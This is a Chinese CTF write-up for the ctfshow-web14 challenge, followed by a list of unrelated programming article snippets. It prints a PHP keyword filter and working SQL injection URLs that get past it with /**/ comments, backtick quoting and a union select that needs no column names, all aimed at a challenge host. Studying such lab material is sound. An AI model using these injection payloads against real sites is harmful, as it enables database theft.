当前位置： 首页 > news >正文

ctfshow-web14

news 文章来源：https://blog.csdn.net/HAI_WD/article/details/132515841 2024/11/9 9:28:38

0x00 前言

  • CTF 加解密合集
  • CTF Web合集

0x01 题目

在这里插入图片描述

0x02 Write Up

首先看到这个，swith，那么直接输入4，则会打印$url的值

在这里插入图片描述
然后访问一下

在这里插入图片描述
查看一下，发现完整的请求是http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.show/here_1s_your_f1ag.php?query=1

在这里插入图片描述
查看注释，发现还有一些内容被处理了：

	if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){die('@A@');}

首先先测试注入，发现是数字型的，并且空格被处理了，所以直接绕过就行。并且这里看到这里处理的内容就是不让你去读表，类似于这种题目，要嘛就是让你从数据库里找，要嘛就是从文件里找。

这道题就是，从文件里找。

在index.php中包含了一个secret.php，先读这个文件试试，这里有一个小知识，apache的默认路径是/var/www/html/
在这里插入图片描述
这里可以看到flag实际上是在：/real_flag_is_here，所以读这个文件

在这里插入图片描述

当然我们也可以常规的去查一下，通过如下语句进行绕过：

http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.show/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database();#

查到了表名：

在这里插入图片描述
然后通过无列名注入的方式可以看到提示的数据：

http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.show/here_1s_your_f1ag.php?query=-1 union select group_concat(b) from (select 1,2,3 as b union select  * from content)l #

在这里插入图片描述

以上

相关文章：

ctfshow-web14

0x00 前言 CTF 加解密合集CTF Web合集 0x01 题目 0x02 Write Up 首先看到这个，swith，那么直接输入4，则会打印$url的值 然后访问一下 查看一下，发现完整的请求是http://c7ff9ed6-dccd-4d01-907a-f1c61c016c15.challenge.ctf.sho…...

编程日记 2023/8/27 6:05:27

数据结构—循环队列（环形队列）

循环队列（环形队列） 循环队列的概念及结构循环队列的实现 循环队列的概念及结构 循环队列是一种线性数据结构，其操作表现基于 FIFO（先进先出）原则并且队尾被连接在队首之后以形成一个循环。它也被称为“环形缓冲器”。…...

编程日记 2023/8/27 6:04:26

vue3 实现按钮权限管理

在做后台管理系统时，经常会有权限管理的功能，这里来记录一下关于按钮权限管理的实现方法 1、自定义指令 v-permission。新建js文件用来写指令代码。 export default function btnPerms(app) {app.directive(permission, {mounted(el, binding) {if (!p…...

编程日记 2023/8/27 6:03:25

C语言练习4（巩固提升）

C语言练习4 选择题 前言 面对复杂变化的世界，人类社会向何处去？亚洲前途在哪里？我认为，回答这些时代之问，我们要不畏浮云遮望眼，善于拨云见日，把握历史规律，认清世界大势。 选择题 …...

编程日记 2023/8/27 6:02:23

将AI融入CG特效工作流；对谈Dify创始人张路宇；关于Llama 2的一切资源；普林斯顿LLM高阶课程；LLM当前的10大挑战 | ShowMeAI日报

👀日报&周刊合集 | 🎡生产力工具与行业应用大全 | 🧡 点赞关注评论拜托啦！ 🤖 将AI融入CG特效工作流，体验极致的效率提升 BV1pP411r7HY 这是 B站UP主 特效小哥studio 和 拓星研究所 联合投稿的一个AI特…...

编程日记 2023/8/27 6:01:21

Vue2学习笔记のVue中的ajax

目录 Vue中的ajaxvue脚手架配置代理方法一方法二 插槽 hello, 这篇文章是Vue2学习笔记的第四篇，也是第四章：Vue中的ajax。 Vue中的ajax vue脚手架配置代理 方法一 在vue.config.js中添加如下配置： devServer:{proxy:"http://localho…...

编程日记 2023/8/27 6:00:19

C# 使用NPOI操作EXCEL

1.添加NOPI 引用->管理NuGet程序包->添加NOPI 2.相关程序集 3....

编程日记 2023/8/27 5:59:17

分布式 - 服务器Nginx：一小时入门系列之 return 指令

文章目录 1. return 指令语法2. return code URL 示例3. return code text 示例4. return URL 示例 1. return 指令语法 return指令用于立即停止当前请求的处理，并返回指定的HTTP状态码和响应头信息，它可以用于在Nginx中生成自定义错误页面，…...

编程日记 2023/8/27 5:58:16

【Linux】ext4和xfs扩大，缩小lv后，无法识别如何操作

虚拟机系统异常，挂载到其他环境如何修复系统盘 1、环境 UOS 1060E x86环境 模拟异常环境： 1060e系统，使用lvm缩小磁盘后，出现异常，将异常磁盘挂载到其他服务器中，但存在问题发现有uuid相同的问题。 为…...

编程日记 2023/8/27 5:57:13

基于HarmonyOS ArkUI实现音乐列表功能

本节将演示如何在基于HarmonyOS ArkUI的List组件来实现音乐列表功能。 本文涉及的所有源码&#xff0c;均可以在文末链接中找到。 活动主页 华为开发者论坛 规则要求具体要求如下&#xff1a; 第1步&#xff1a;观看<HarmonyOS第一课>“营”在暑期•系列直播&#x…...

编程日记 2023/8/27 5:56:12

Android系统启动流程 源码解析

Android系统启动流程 本文链接&#xff1a;https://blog.csdn.net/feather_wch/article/details/132518105 有道云脑图&#xff1a;https://note.youdao.com/s/GZ9d8vzO 1、整体流程 Boot RoomBootLoaderidle kthreadinit init ServiceManagerzygote zygote SystemServerap…...

编程日记 2023/8/27 5:55:10

【头歌】构建哈夫曼树及编码

构建哈夫曼树及编码 第1关：构建哈夫曼树 任务描述 本关任务：构建哈夫曼树，从键盘读入字符个数n及这n个字符出现的频率即权值，构造带权路径最短的最优二叉树（哈夫曼树）。 相关知识 哈夫曼树的定义 设二叉树具有n个带权值的叶子结点{w1,w2,...,wn}，从根结点到每个叶…...

编程日记 2023/8/27 5:54:08

创建本地镜像

通过前面文章的阅读&#xff0c;读者已经了解到所谓的容器实际上是在父镜像的基础上创建了一个可读写的文件层级&#xff0c;所有的修改操作都在这个文件层级上进行&#xff0c;而父镜像并未受影响&#xff0c;如果读者需要根据这种修改创建一个新的本地镜像&#xff0c;有两种…...

编程日记 2023/8/27 5:53:07

网络编程套接字(2): 简单的UDP网络程序

文章目录 网络编程套接字(2): 简单的UDP网络程序3. 简单的UDP网络程序3.1 服务端创建(1) 创建套接字(2) 绑定端口号(3) sockaddr_in结构体(4) 数据的接收与发送接收发送 3.2 客户端创建3.3 代码编写(1) v1_简单发送消息(2) v2_小写转大写(3) v3_模拟命令行解释器(4) v4_多线程版…...

编程日记 2023/8/27 5:52:05

Android Mvvm设计模式的详解与实战教程

一、介绍 在开发设计模式中&#xff0c;模式经历了多次迭代&#xff0c;从MVC到MVP&#xff0c;再到如今的MVVM。发现的过程其实很简单&#xff0c;就是为了项目更好的管理。 设计模式严格来说属于软件工程的范畴&#xff0c;但是如今在各大面试中或者开发中&#xff0c;设计模…...

编程日记 2023/8/27 5:51:04

软考A计划-系统集成项目管理工程师-小抄手册(共25章节)-下

点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…...

编程日记 2023/8/27 5:50:03

渗透测试是什么？怎么做？

渗透测试报告 一、什么是渗透测试&#xff1f; 渗透测试是可以帮助用户对目前自己的网络、系统、应用的缺陷有相对直观的认识和了解。渗透测试尽可能地以黑客视角对用户网络安全性进行检查&#xff0c;对目标网络、系统和应用的安全性作深入的探测&#xff0c;发现系统最脆弱的…...

编程日记 2023/8/27 5:49:02

【软件安装】Python安装详细教程（附安装包）

软件简介 Python由荷兰数学和计算机科学研究学会的Guido van Rossum 于1990 年代初设计&#xff0c;作为一门叫做ABC语言的替代品。Python提供了高效的高级数据结构&#xff0c;还能简单有效地面向对象编程。Python语法和动态类型&#xff0c;以及解释型语言的本质&#xff0c…...

编程日记 2023/8/27 5:48:00

微信小程序的form表单提交

获取input有两种方法&#xff1a; 第一&#xff1a;bindsubmit方法 注意&#xff1a; 1.使用form里面定义bindsubmit事件 2.bindsubmit事件需要配合button里面定义的formType“submit” 操作 3.设置input的name值来获取对应的数据 <form bindsubmit"formSubmit"…...

编程日记 2023/8/27 5:46:59

WOFOST模型与PCSE模型应用

实现作物产量的准确估算对于农田生态系统响应全球变化、可持续发展、科学粮食政策制定、粮食安全维护都至关重要。传统的经验模型、光能利用率模型等估产模型原理简单&#xff0c;数据容易获取&#xff0c;但是作物生长发育非常复杂&#xff0c;中间涉及众多生理生化过程&#…...

编程日记 2023/8/27 5:45:58

5-W806-RC522-SPI

main.c #include <stdio.h> #include "wm_hal.h" #include "rc522.h"int main(void) {SystemClock_Config(CPU_CLK_160M);printf("enter main\r\n");HAL_Init();RC522_Init();PcdReset();M500PcdConfigISOType ( A );//设置工作方式IC_te…...

编程日记 2023/8/27 5:44:56

Python实现自动登录+获取数据

前言 Dy这个东西想必大家都用过&#xff0c;而且还经常刷&#xff0c;今天就来用代码&#xff0c;获取它的视频数据 环境使用 Python 3.8 Pycharm 模块使用 requests selenium json re 一. 数据来源分析 1. 明确需求 明确采集网站以及数据内容 网址: https://www.dy.co…...

编程日记 2023/8/27 5:43:55

yolov8热力图可视化

安装pytorch_grad_cam pip install grad-cam自动化生成不同层的bash脚本 # 循环10次&#xff0c;将i的值从0到9 for i in $(seq 0 13) doecho "Running iteration $i";python yolov8_heatmap.py $i; done热力图生成python代码 import warnings warnings.filterwarn…...

编程日记 2023/8/27 5:42:54

【SpringBoot】第一篇：redis使用

背景&#xff1a; 本文是教初学者如何正确使用和接入redis。 一、引入依赖 <!--redis--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency><depen…...

编程日记 2023/8/27 5:41:53

Springboot profile多环境配置

1. 前言 profile用于多环境的激活和配置&#xff0c;用来切换生产&#xff0c;测试&#xff0c;本地等多套不通环境的配置。如果每次去更改配置就非常麻烦&#xff0c;profile就是用来切换多环境配置的。 2. 配置方法 三种方式。 2.1 多profile文件方式 在resource目录下新…...

编程日记 2023/8/27 5:40:52

（1）进程与线程区别

1.什么是线程、进程 进程&#xff1a;操作系统资源分配的基本单位线程&#xff1a;处理器任务调度和执行的基本单位。 一个进程至少有一个线程&#xff0c;线程是进程的一部分&#xff0c;所以线程也被称为轻权进程或者轻量级进程。 2.并行与并发 一个基本的事实前提&#x…...

编程日记 2023/8/27 5:39:51

学习JAVA打卡第四十天

对象的字符串表示 在此类中我们讲过&#xff0c;所有的类都默认是java.lang包中object类的子类或间接子类。 Object类有一个public String toString&#xff08;&#xff09;方法,一个对象通过调用该方法可以获得该对象的字符串表示。一个对象调用toString法&#xff08;&…...

编程日记 2023/8/27 5:38:49

【跟小嘉学 Rust 编程】十四、关于 Cargo 和 Crates.io

系列文章目录 【跟小嘉学 Rust 编程】一、Rust 编程基础 【跟小嘉学 Rust 编程】二、Rust 包管理工具使用 【跟小嘉学 Rust 编程】三、Rust 的基本程序概念 【跟小嘉学 Rust 编程】四、理解 Rust 的所有权概念 【跟小嘉学 Rust 编程】五、使用结构体关联结构化数据 【跟小嘉学…...

编程日记 2023/8/27 5:37:48

防关联指纹浏览器：高效地管理你的Facebook账户

Facebook&#xff0c;作为全球最受欢迎社交平台的第一名已经成为我们日常和工作中不可或缺的一部分了。不管是用于日常分享、媒体营销、还是店铺运营&#xff0c;Facebook都占据着重要的位置。多个Facebook账户的优势非常明显&#xff0c;然而&#xff0c;当你需要同时管理他们…...

编程日记 2023/8/27 5:36:46

前端学习记录~2023.8.15~JavaScript重难点实例精讲～第7章 ES6（1）

第 7 章 ES6 前言7.1 let关键字和const关键字7.1.1 let关键字&#xff08;1&#xff09;let关键字的特性&#xff08;2&#xff09;使用let关键字的好处 7.1.2 const关键字&#xff08;1&#xff09;const关键字的特性 7.2 解构赋值7.2.1 数组的解构赋值&#xff08;1&#xff…...

编程日记 2023/8/27 5:35:45

网站开发营业执照/自助建站网站哪个好

环境&#xff1a;win10 64位压缩包下载地址&#xff1a;https://dev.mysql.com/downloads/mysql/ 如图下载解压后&#xff0c;进入文件夹&#xff1a;配置基础文件—my.ini&#xff1a;[mysql]; 设置mysql客户端默认字符集default-character-setutf8[mysqld];设置3306端口por…...

编程日记 2024/11/9 2:43:03

国外b站视频app/市场营销策划公司

本教程将向您展示如何使用ALTER EVENT语句修改现有的MySQL事件。 在学习完本教程之后&#xff0c;您将了解如何修改事件和计划&#xff0c;如何启用或禁用事件以及如何重命名事件。MySQL允许您更改现有事件的各种属性。要更改现有事件&#xff0c;请使用ALTER EVENT语句&#x…...

编程日记 2024/11/9 1:32:55

wordpress查看ftp服务器/百度视频免费高清影视

作者 | 杨成立&#xff08;忘篱&#xff09; 阿里巴巴高级技术专家Go 开发关键技术指南文章目录&#xff1a;为什么你要选择 Go&#xff1f;Go 面向失败编程带着服务器编程金刚经走进 2020 年敢问路在何方&#xff1f;Go 开发指南大图Engineering我觉得 Go 在工程上良好的支持&…...

编程日记 2024/11/8 14:34:48

怎么做下载类网站/新手运营从哪开始学

是“Block Started bySymbol”的缩写&#xff0c;意为“以符号开始的块”。 BSS是Unix链接器产生的未初始化数据段。其他的段分别是包含程序代码的“text”段和包含已初始化数据的“data”段。BSS段的变量只有名称和大小却没有值。此名后来被许多文件格式使用&#xff0c;包括P…...

编程日记 2024/11/8 13:29:19

如何自己制作网站/学生个人网页制作

需要一个可以选择部门的功能&#xff0c;开始选用的是easyUI tree&#xff0c;不过最后被嫌弃了&#xff0c;只好寻找更优的解决方法&#xff0c;当然也可以通过异步加载的方式来避免一次性载入速度慢的问题&#xff0c;但这不在考虑范围内。 终于在《打造基于jQuery的高性能Tr…...

编程日记 2024/11/8 12:46:23

如何得知网站有没有做推广/百度快快速排名

一、Linux 命令格式 命令 [选项] [参数](必需) (非必需) (非必需) eg 二、常用命令 1、 pwd —— print working directory —— 打印当前所在的路径 2、 cd —— change directory —— 切换路径 cd ~ 　//切换到家目录 cd ..　//切换到上一级目录cd ../..　 //切换…...

编程日记 2024/11/8 11:50:50